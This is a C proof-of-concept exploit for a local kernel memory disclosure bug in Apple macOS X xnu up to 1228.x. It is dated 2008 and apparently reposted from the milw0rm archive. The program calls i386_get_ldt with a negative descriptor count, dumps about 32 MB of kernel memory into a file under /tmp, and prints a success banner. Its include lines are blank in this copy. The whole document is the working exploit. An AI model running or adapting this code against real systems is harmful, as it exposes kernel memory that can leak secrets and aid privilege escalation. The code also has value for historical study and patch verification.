Apple MACOS X xnu <= 1228.x Local Kernel Memory Disclosure Exploit

/* xnu-get_ldt.c
*
* Copyright (c) 2008 by
*
* Apple MACOS X xnu <= 1228.x local kernel memory disclosure
* by mu-b - Wed 17 Dec 2008
*
* - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
*
* props to christer who originally found the bug in FreeBSD.
* (ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:07.ldt.asc)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include
#include

#include
#include
#include
#include
#include
#include

#define TMP_FILE "/tmp/xnu-get_ldt"
#define READ_SIZE 0x2000000

int
main (int argc, char **argv)
{
int fd, n, num_desc;
void *ptr;

printf ("Apple MACOS X xnu <= 1228.x local kernel memory disclosure\n"
"by: \n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

n = i386_get_ldt (0, ((int)NULL) + 1, 0);
if (n < 0)
{
fprintf (stderr, "failed i386_get_ldt(): %d\n", n);
return (EXIT_FAILURE);
}

num_desc = n;
printf ("i386_get_ldt: num_desc: %d\n", num_desc);

fd = open (TMP_FILE, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR);
if (fd < 0)
{
fprintf (stderr, "failed open(): %d\n", fd);
return (EXIT_FAILURE);
}

ptr = mmap (NULL, READ_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
if ((int) ptr == -1)
{
fprintf (stderr, "failed mmap()\n");
return (EXIT_FAILURE);
}

memset (ptr, 0x00, READ_SIZE);
i386_get_ldt (num_desc - 1, (union ldt_entry *) ptr, -(num_desc - 1));

n = write (fd, ptr, READ_SIZE);
munmap (ptr, READ_SIZE);
close (fd);

printf ("%d-bytes of kernel memory dumped to: %s\n", n, TMP_FILE);

return (EXIT_SUCCESS);
}

# milw0rm